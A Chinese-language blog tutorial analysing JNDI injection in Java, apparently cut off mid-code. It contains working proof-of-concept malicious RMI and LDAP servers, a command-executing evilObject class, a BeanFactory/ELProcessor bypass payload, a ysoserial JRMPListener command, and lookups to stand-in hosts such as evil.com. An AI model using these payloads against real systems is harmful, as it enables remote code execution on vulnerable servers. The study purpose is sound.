w0s1np

w0s1np

记录学习和思考 快就是慢、慢就是快 静下心来学习
github

JNDI注入

JNDI 注入#

0x01 什麼是 JNDI#

RMI && LDAP#

目錄是一種分佈式資料庫,目錄服務是由目錄資料庫和一套訪問協議組成的系統。LDAP 全稱是輕量級目錄訪問協議,它提供了一種查詢、瀏覽、搜索和修改互聯網目錄資料的機制,運行在 TCP/IP 協議棧之上,基於 C/S 架構。除了 RMI 服務之外,JNDI 也可以與 LDAP 目錄服務進行交互,Java 對象在 LDAP 目錄中也有多種存儲形式:

  • Java 序列化
  • JNDI Reference
  • Marshalled 對象
  • Remote Location (已棄用)

LDAP 可以為存儲的 Java 對象指定多種屬性:

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

JNDI 原理#

JNDI - Java 命名和目錄接口,JNDI 提供統一的客戶端 API,通過不同的服務供應接口 (SPI) 的實現,由管理者將 JNDI API 映射為特定的命名服務和目錄系統,使得 Java 應用程序可以和這些命名服務和目錄服務之間進行交互,如圖:

image

命名服務 (Naming Service)

命名服務是一種簡單的鍵值對綁定,可以通過鍵名檢索值,RMI 就是典型的命名服務

  • 命名服務是將名稱與值相關聯的實體,也稱為 "綁定 (binding)"。
  • 它提供了一種基於名稱查找對象的工具,該名稱稱為 "查找 (lookup)" 或 "search" 操作。

目錄服務 (Directory Service)

LDAP 是典型的目錄服務

  • 允許存儲和查找 "目錄對象" 的特殊類型的命名服務。
  • 目錄對象不同於一般對象,因為它可以將屬性與對象相關聯。
  • 因此,目錄服務提供了對對象屬性進行操作的擴展功能。

命名服務與目錄服務的本質是相同的,都是通過鍵來查找對象,只不過目錄服務的鍵要靈活且複雜一點。

簡單來說就是 JNDI 提供了一組通用的接口可供應用很方便地去訪問不同的後端服務,例如 LDAP、RMI、CORBA 等。如下圖:

492

在 Java 中為了能夠更方便的管理、訪問和調用遠程的資源對象,常常會使用 LDAP 和 RMI 等服務來將資源對象或方法綁定在固定的遠程服務端,供應用程序來進行訪問和調用。

一個簡單的 JNDI 例子:

package jndi_test;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
    public String sayHello(String name) throws RemoteException;
}
package jndi_test;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {
    protected IHelloImpl() throws RemoteException {
        super();
    }

    public String sayHello(String name) throws RemoteException {
        return "Hello " + name + " ^_^";
    }
}
package jndi_test;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class CallService {
    public static void main(String[] args) throws Exception {
        // 配置 JNDI 默認設置
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        Context ctx = new InitialContext(env);

        // 本地開啟 1099 端口作為 RMI 服務,並以標識 "hello" 綁定方法對象
        Registry registry = LocateRegistry.createRegistry(1099);
        IHello hello = new IHelloImpl();
        registry.bind("hello", hello);

        // JNDI 獲取 RMI 上的方法對象並進行調用
        IHello rHello = (IHello) ctx.lookup("http://192.168.1.148:1099/hello");
        System.out.println(rHello.sayHello("RickGray"));
    }
}

JNDI 獲取並調用了遠程方法 say.Hello

image

這裡對 JNDI 服務進行了初始化,在初始化配置 JNDI 設置時可以預先指定其上下文環境(RMI、LDAP 或者 CORBA 等)。這裡的例子是指定了上下文環境為 RMI。

流程:

493

這裡使用 JNDI 獲取遠程 sayHello () 函數並傳入 "RickGray" 參數進行調用時,真正執行該函數是在遠程服務端,執行完成後會將結果序列化返回給應用端。

RMI 中動態加載字節碼#

如果遠程獲取 RMI 服務上的對象為 Reference 類(引用對象類型的抽象基類)或者其子類,則在客戶端獲取到遠程對象存根實例時,可以從其他服務器上加載 class 文件來進行實例化。

Reference 中幾個比較關鍵的屬性:

  1. className - 遠程加載時所使用的類名
  2. classFactory - 加載的 class 中需要實例化類的名稱
  3. classFactoryLocation - 提供 classes 資料的地址,可以是 file/ftp/http 等協議

例如這裡定義一個 Reference 實例,並使用繼承了 UnicastRemoteObject 類的 ReferenceWrapper 包裹一下實例對象,使其能夠通過 RMI 進行遠程訪問:

Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

當有客戶端通過 lookup ("refObj") 獲取遠程對象時,獲得到一個 Reference 類的存根,由於獲取的是一個 Reference 實例,客戶端會首先去本地的 CLASSPATH 去尋找被標識為 refClassName 的類,如果本地未找到,則會去請求 http://example.com:12345/refClassName.class 動態加載 classes 並調用 insClassName 的構造函數。

這裡說明了在獲取 RMI 遠程對象時,可以動態地加載外部代碼進行對象類型實例化,而 JNDI 同樣具有訪問 RMI 遠程對象的能力,只要其查找參數即 lookup () 函數的參數值可控,那麼就有可能促使程序去加載和執行部署在攻擊者服務器上的惡意代碼。

JNDI 協議動態轉換#

上文說到在初始化配置 JNDI 設置時可以預先指定其上下文環境(RMI、LDAP 或者 CORBA 等)。

        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        Context ctx = new InitialContext(env);

而在調用 lookup () 或者 search () 時,可以使用帶 URI 動態的轉換上下文環境,

例如上面已經通過 Context.PROVIDER_URL 屬性設置了當前上下文會訪問 RMI 服務,但是還是可以直接使用 LDAP 的 URI 格式去轉換上下文環境訪問 LDAP 服務上的綁定對象:

ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");

為什麼可以使用絕對路徑 URI 去動態地轉換上下文環境呢?

InitialContext#lookup:

    public Object lookup(String name) throws NamingException {
        return getURLOrDefaultInitCtx(name).lookup(name);
    }

getURLOrDefaultInitCtx () 函數的具體代碼實現為:

    protected Context getURLOrDefaultInitCtx(String name)
        throws NamingException {
        if (NamingManager.hasInitialContextFactoryBuilder()) {
            return getDefaultInitCtx();
        }
        String scheme = getURLScheme(name);
        if (scheme != null) {
            Context ctx = NamingManager.getURLContext(scheme, myProps);
            if (ctx != null) {
                return ctx;
            }
        }
        return getDefaultInitCtx();
    }

首先判斷是否設置了 FactoryBuilder, 但其實這跟我們設置的 INITIAL_CONTEXT_FACTORY​ 無關,最終還是返回 null

然後進入到 getURLScheme

image

截取 ://​ 之前的內容作為協議名,傳入 NamingManager.getURLContext ()

image

可以看到,如果獲取不到 scheme 的話,就會使用原來 env 中指定的 INITIAL_CONTEXT_FACTORY​, 否則就會進行動態轉換,得到當前協議對應的 context factory

image

跟進 getURLObject

image

ResourceManager.getFactory()​會通過 context classloader​加載對應工廠類

然後調用工廠類的 getObjectInstance 方法來得到對應協議的 context

總的來說最終返回的 context 類型還是取決於 lookup 傳入的 uri, 只有當 uri 被省略的時候才會使用 env 中指定的 INITIAL_CONTEXT_FACTORY

即當第一次調用 lookup () 函數的時候,會對上下文環境進行一個初始化,這時候代碼會對 paramName 參數值進行一個 URL 解析,如果 paramName 包含一個特定的 Schema 協議,代碼則會使用相應的工廠去初始化上下文環境,這時候不管之前配置的工廠環境是什麼,這裡都會被動態地對其進行替換。

JNDI 默認支持動態轉換的協議如下

協議名稱協議 URLContext 類
DNS 協議dns://com.sun.jndi.url.dns.dnsURLContext
RMI 協議rmi://com.sun.jndi.url.rmi.rmiURLContext
LDAP 協議ldap://com.sun.jndi.url.ldap.ldapURLContext
LDAP 協議ldaps://com.sun.jndi.url.ldaps.ldapsURLContextFactory
IIOP 對象請求代理協議iiop://com.sun.jndi.url.iiop.iiopURLContext
IIOP 對象請求代理協議iiopname://com.sun.jndi.url.iiopname.iiopnameURLContextFactory
IIOP 對象請求代理協議corbaname://com.sun.jndi.url.corbaname.corbanameURLContextFactory

0x02 JNDI 注入#

造成 JNDI 注入的核心有兩點

  1. 動態協議轉換
  2. Reference 類

版本限制#

  • JDK 5U45、6U45、7u21、8u121 開始 java.rmi.server.useCodebaseOnly​ 默認配置為 true, 禁止利用 RMI ClassLoader 加載遠程類 (但是 Reference 加載遠程類本質上利用的是 URLClassLoader, 所以該參數對於 JNDI 注入無任何影響)
  • JDK 6u132、7u122、8u113 開始 com.sun.jndi.rmi.object.trustURLCodebase​ 和 com.sun.jndi.rmi.object.trustURLCodebase​ 默認值為 false, 禁止 RMI 和 CORBA 協議使用遠程 codebase 來進行 JNDI 注入
  • JDK 11.0.1、8u191、7u201、6u211 開始 com.sun.jndi.ldap.object.trustURLCodebase​ 默認為 false, 禁止 LDAP 協議使用遠程 codebase 來進行 JNDI 注入

495

通過 RMI 與 LDAP 進行 JNDI 注入 (jdk<8u191)#

通過 RMI 和 LDAP 所進行的 JNDI 注入都是基於 Reference 類的特殊處理。

利用條件#

  • 客戶端的 lookup () 方法的參數可控
  • 服務端在使用 Reference 時,classFactoryLocation 參數可控~

注入流程#

注入流程:

  1. 攻擊者需要構造一個惡意對象,在其構造方法處加入惡意代碼。將其上傳到服務器中等待遠程加載
  2. 構造一個惡意 RMI 服務, bind 一個 ReferenceWrapper 對象, ReferenceWrapper 對象是 Reference 對象的封裝
  3. 攻擊者通過可控的 URI 參數觸發動態環境轉換,例如這裡 URI 為 rmi://evil.com:1099/refObj ;
  4. 原先配置好的上下文環境 rmi://localhost:1099 會因為動態環境轉換而被指向 rmi://evil.com:1099/ ;
  5. 應用去 rmi://evil.com:1099 請求綁定對象 refObj ,攻擊者事先準備好的 RMI 服務會返回與名稱 refObj 想綁定的 ReferenceWrapper 對象( Reference ("EvilObject", "EvilObject", "http://evil-cb.com/") );
  6. Reference 對象中包含了遠程地址,遠程地址中可以加載惡意對象 class
  7. JNDI 在 lookup 過程中會解析 Reference 對象並遠程加載惡意對象觸發漏洞

496

為什麼在 RMI 的攻擊方法裡面沒有提到遠程加載 Reference 對象這個方法呢,其實就是因為這裡的客戶端發生了變化,之前是客戶端通過 RMI 遠程調用服務端的方法,這裡是 JNDI 去調用,這也導致了 lookup 方法發生了變化,這才有了 JNDI 協議動態轉換,觸發動態環境轉換。

0x03 RMI#

例子:

Server

package Inject;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);

            String factoryUrl = "http://127.0.0.1:8080/";
            Reference reference = new Reference("evilObject","evilObject", factoryUrl);
            ReferenceWrapper wrapper = new ReferenceWrapper(reference);
            registry.bind("w0s1np", wrapper);

            System.err.println("Server ready, factoryUrl:" + factoryUrl);
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}
package Inject;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        try {
            Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/w0s1np");
            System.out.println("ret: " + ret);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

當客戶端調用 InitialContext ().lookup () 方法時,會從 http://127.0.0.1:8080/evilObject.class 處獲取 class 並觸發構造方法中的惡意代碼。

public class evilObject {
    public evilObject() throws Exception{
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

將 evilObject.java 放在另一個目錄下(為防止漏洞復現過程中應用端實例化 EvilObject 對象時從 CLASSPATH 當前路徑找到編譯好的字節代碼,而不去遠端進行下載的情況發生)

image

低版本 jdk 分析#

jdk8u_202、65、20 混合調試的,和 rmi 反序列化中一樣,使用低版本 jdk 有些調試進不去

分析 lookup 後的流程

image

首先獲取到 RegistryContext@763 對象,裡面也包含了存根對象和 rmi 服務地址、端口信息,然後進去 RegistryContext@763 對象的 lookup 方法:

image

然後調用 RegistryImpl_Stub@764 對象的 lookup, 這部分跟 RMI 協議中 Stub 與 Skeleton 的通信流程相同

registry#lookup​ 獲取遠程惡意 server 綁定的 Remote 類

然後調用 RegistryContext#decodeObject​ 方法,調用該 Remote 類 的 getObjectInstance 實例化該類

image

image

判斷 var1 是否屬於 RemoteReference 或其子類的實例對象,然後調用 NamingManager.getObjectInstance()

image

先通過getObjectFactoryFromReference​得到 factory 實例,然後調用它的getObjectInstance​方法

跟進 getObjectFactoryFromReference,

image

首先調用 helper.loadClass()​, 方法內部會從上下文中得到 AppClassLoader, 然後嘗試從本地加載 factory 類

失敗的話就會獲取 codebase (也就是 factoryLocation), 再傳入 helper 中使用 URLClassLoader 嘗試加載

image

遠程加載,FactoryURLClassLoader​是URLClassLoader​的子類

上面Class.forName​第二個參數是true​, 這裡加載的時候就能觸發static​區域的代碼

得到 class 之後,

image

這裡會觸發自構方法​的代碼(這裡會轉化成ObjectFactory​類,想不報錯,惡意可以繼承這個接口)

返回後還會調用getObjectInstance()​次方法

image

小結#

下面這 3 個代碼塊都能執行我們的惡意代碼

  • static 區域
  • 自構方法
  • getObjectInstance()

高版本 jdk 分析#

先找一下限制是在加在什麼地方的

image

RegistryContext#decodeObject​在NamingManager.getObjectInstance​之前對Reference​對象進行了判斷,var8.getFactoryClassLocation()​就是我們設置的遠程地址codebase​, trustURLCodebase​默認是false

這裡意思就是默認不讓我們設置遠程地址​了,從而防禦我們遠程加載惡意類

本地 Factory 類#

既然禁止通過 codebase 遠程加載,那就去加載一個能夠利用的本地 factory 然後執行 java 代碼

但是這種利用方式受限於目標機器本地 classpath 中是否存在對應的 factory

危險函數肯定還是上面小結部分的三處: static​、自構方法​、getObjectInstance()​, 但其實static​和自構方法​不太可能存在利用的地方,所以還是主要去找getObjectInstance()​, 而getObjectInstance()​是ObjectFactory​接口的方法,所以我們去找ObjectFactory的繼承類​就行。

這種方式自然也依賴於其他組件依賴,網上最多的就是org.apache.naming.factory.BeanFactory​ 和 javax.el.ELProcessor

BeanFactory 來自 tomcat 的依賴包,所以適用範圍相對來說會廣一些

ELProcessor 則是 java 自帶的表達式解析引擎

添加下面tomcat​依賴

<dependency>
  <groupId>org.apache.tomcat</groupId>
  <artifactId>tomcat-catalina</artifactId>
  <version>8.5.0</version>
</dependency>

<dependency>
  <groupId>org.apache.tomcat.embed</groupId>
  <artifactId>tomcat-embed-el</artifactId>
  <version>8.5.0</version>
</dependency>
package rmi_bypass;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class RMIServer {
    public static void main(String[] args) throws Exception{
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");

        InitialContext ctx = new InitialContext(env);
        Registry registry = LocateRegistry.createRegistry(1099);
      
        // 實例化Reference,指定目標類為javax.el.ELProcessor,工廠類為org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        // 強制將 'x' 屬性的setter 從 'setX' 變為 'eval', 詳細邏輯見 BeanFactory.getObjectInstance 代碼
        ref.add(new StringRefAddr("forceString", "x=eval"));
        // 利用表達式執行命令
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open -a calculator']).start()\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("w0s1np", referenceWrapper);
    }
}
正向分析#

首先還是到NamingManager#getObjectInstance

image

進入BeanFactory#getObjectInstance​,

image

getObjectInstance 會判斷當前的 ref 對象是否是 ResourceRef 的實例,而 ResourceRef 為 Reference 的子類

所以這也就說明了為什麼我們需要構造一個 ResourceRef 來加載 factory class, 而不是平時經常用到的 Reference

之後獲取 classname, 即 javax.el.ELProcessor​ , 並調用 tcl 加載 class

image

“forceString”​可以給屬性強制指定一個setter​方法,這裡我們將屬性”x” 的 setter 方法設置為 ELProcessor.eval()​ 方法。

首先從 ref 中獲取到forceString​屬性,然後以,​為分割為多對 method, 然後通過=​分割每對值,前面的為最後放入map的key​, 後面為要獲取的method名字​, 然後從beanclass​獲取這個方法(注意這裡只會獲取 String 為參數的方法,我們看到paramTypes​是不可控的), 然後 put 到forced​這個 Hashmap 中

image

然後到下面這個 while 中,這裡會獲取到Type​, 當不為 if 中的值時,會從前面設置的forced​中通過這個Type名字​獲取對應的method​, 這裡即 x ​, 然後通過反射調用這個方法,參數為 x 對應的 value, 所以前後兩個值 (x) 要一樣

bean 對象就是 beanClass 實例化,然後在 invoke 執行成功javax.el.ELProcessor#eval

利用小結

BeanFactory#getObjectInstance​利用條件

  • JDK 或者常用庫的類
  • 有 public 修飾的無參構造方法 // 顯而易見,直接通過 newInstance () 獲得對象的
  • public 修飾的只有一個 String.class 類型參數的方法,且該方法可以造成漏洞 // 只能調用 String 方法

上面就利用的 el 表達式

逆向挖掘分析#
ReferenceRef 的定位

RegistryContext#decodeObject​ 限制邏輯中可以看到,java.naming.Reference​ 用不了,因為getFactoryClassLocation​過不了。

var8 = (Reference)var3;

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
                throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");

那麼,還有哪些類滿足

  1. 繼承 Reference
  2. getFactoryClassLocation 可以為 null

嘗試找繼承 Reference 的子類

image

ReferenceWrapper 的定位

還是要回到NamingManager#getObjectInstance

ObjectFactory factory;
ref = (Reference) refInfo;
String f = ref.getFactoryClassName();
factory = getObjectFactoryFromReference(ref, f);
factory.getObjectInstance(ref, name, nameCtx, environment);

查看ResourceRef​構造函數

public ResourceRef(String resourceClass, String description,
                       String scope, String auth, boolean singleton,
                       String factory, String factoryLocation)

image

所以只需要繼承ObjectFactory​, 並且getObjectInstance​存在危險函數

image

後面上面已經分析過了,BeanFactory 原本的作用是通過反射調用某個 BeanClass 的 setter 來賦值

但是我們能通過 forceString 參數將 setter 強制指定為 ELProcessor 中的 eval, 這樣 beanClass.getMethod()​ 就變成了獲取 eval 的 Method 對象

其利用條件為

  1. 需要有無參構造函數 (因為Object bean = beanClass.getConstructor().newInstance();​)
  2. 可以調用符合條件的方法,要求方法的參數為 1 個,類型為 String (可以根據 Reference 的屬性查找 setter 方法的別名​)
  3. 還可以調用 set* 方法,要求方法的參數為 1 個,類型為 String
  4. 以上方法都要求 public
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                Hashtable<?,?> environment)
    throws NamingException {

    Reference ref = (Reference) obj;
    String beanClassName = ref.getClassName();
    ClassLoader tcl = Thread.currentThread().getContextClassLoader();
    // 1. 反射獲取類對象
    if (tcl != null) {
        beanClass = tcl.loadClass(beanClassName);
    } else {
        beanClass = Class.forName(beanClassName);
    }
    // 2. 初始化類實例
    Object bean = beanClass.getConstructor().newInstance();

    // 3. 根據 Reference 的屬性查找 setter 方法的別名
    RefAddr ra = ref.get("forceString");
    String value = (String)ra.getContent();

    // 4. 循環解析別名並保存到字典中
    for (String param: value.split(",")) {
        param = param.trim();
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" +
                param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                param.substring(1);
        }
        forced.put(param, beanClass.getMethod(setterName, paramTypes));
    }

    // 5. 解析所有屬性,並根據別名去調用 setter 方法
    Enumeration<RefAddr> e = ref.getAll();
    while (e.hasMoreElements()) {
        ra = e.nextElement();
        String propName = ra.getType();
        String value = (String)ra.getContent();
        Object[] valueArray = new Object[1];
        Method method = forced.get(propName);
        if (method != null) {
            valueArray[0] = value;
            method.invoke(bean, valueArray);
        }
        // ...
    }
}

反序列化#

利用 register 返回惡意序列化資料反序列化執行 gadget

lookup​中client​會和register​進行資料傳輸且存在反序列化

/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "open -a Calculator"

然後運行 client 代碼即可,所以只要發現new InitialContext().lookup​參數可控,並且服務端存在 gadget, 都可以打反序列化

一直步進 lookup, 可以到RegistryImpl_Stub#lookup​方法

image

這裡會向register​傳序列化資料做準備,然後跟進這個invoke​, 然後進入StreamRemoteCall#executeCall

image

executeCall()​, 這裡this.getInputStream();​會接收register​傳回的序列化資料(這裡我們構造惡意序列化資料即可利用), 然後下方進行反序列化。

0x04 LDAP#

jdk8u191​之前都能用 ldap 加載遠程惡意類

ldap服務端​需要以下依賴

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>6.0.7</version>
</dependency>

poc:

package LDAP;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer{
    private static final String LDAP_BASE = "dc=ldap";

    public static void main (String[] args) {

        String url = "http://127.0.0.1:4444/#evilObject";
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult (InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
//             Payload1: 利用 LDAP + Reference Factory
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());

//             Payload2: 返回序列化 Gadget
//            try {
//                e.addAttribute("javaSerializedData", Base64.decode("..."));
//            } catch (ParseException exception) {
//                exception.printStackTrace();
//            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}
package LDAP;

import javax.naming.InitialContext;

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        InitialContext ctx = new InitialContext();
        ctx.lookup("ldap://127.0.0.1:1389/test");
    }
}
public class evilObject {
    public evilObject() throws Exception{
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

低版本 jdk 分析#

jdk8u65

image

首先根據協議不同,獲取到不同的上下文,進入NamingManager#getURLContext

image

進入ResourceManager#getFactory

image

classSuffix​這個值是根據協議名字​拼接的,然後去實例化​這個類,後面會return factory;

image

然後會到ldapURLContextFactory.getObjectInstance​,返回一個ldap的上下文(ldapURLContext)

image

然後後續this.getRootURLContext​這裡調用的是ldapURLContext.getRootURLContext​, var3​是LdapCtx​, 也就導致後面和 rmi 的走向不一樣了

image

c_lookup#

一直步進 lookup,

image

LdapCtx#doSearchOnce​會向ldap發送請求​獲取值。

image

然後服務端會把這個值傳給client端

然後從返回的值獲取attributes​屬性,

image

我們是設置了javaClassName​的,所以進入Obj#decodeObject

image

進入最後的 else:

return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);

會進入decodeReference(var0, var2);

這裡會根據輸入 url 獲取到對應的對象名,然後包裝為Reference​, 然後返回到LdapCtx#c_lookup

image

進入getObjectInstance()​, 其後續邏輯和rmi​是相同的

image

image

通過實例化 evilObject 來 rce

小結#

經過上面的分析,我們知道 ldap 和 rmi 在調用遠程惡意類上的過程是有區別的

ldap 調用棧

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:8, JNDIClient (LDAP)

rmi 調用棧

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:9, JNDIClient (RMI)

var8.getFactoryClassLocation()​的檢測是在rmi​的decodeObject​中,而ldap協議​是調用的其他lookup​並不會調用decodeObject​來實現遠程加載,兩者協議調用機制是不一樣的

所以在8u113~8u190​這段com.sun.jndi.rmi.object.trustURLCodebase​ 默認值為false​, ldap不受影響​依然可以調用遠程惡意類

高版本 jdk 分析#

8u191 以後,在遠程加載類時加入了trustURLCodebase​的判斷,徹底杜絕了遠程加載惡意類了。

image

image

反序列化#

image

Obj#decodeObject​中,存在一個 if 分支存在deserializeObject()​, 會把ldap服務端​返回的資料進行反序列化​, 如果有能利用的依賴就能打 gadget

所以需要給JAVA_ATTRIBUTES[1]​, 即javaSerializedData​設置值

poc#
package LDAP;

import com.sun.jndi.ldap.LdapCtx;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer{
    private static final String LDAP_BASE = "dc=ldap";

    public static void main (String[] args) {


        String url = "http://127.0.0.1:8080/#evilObject";
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult (InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
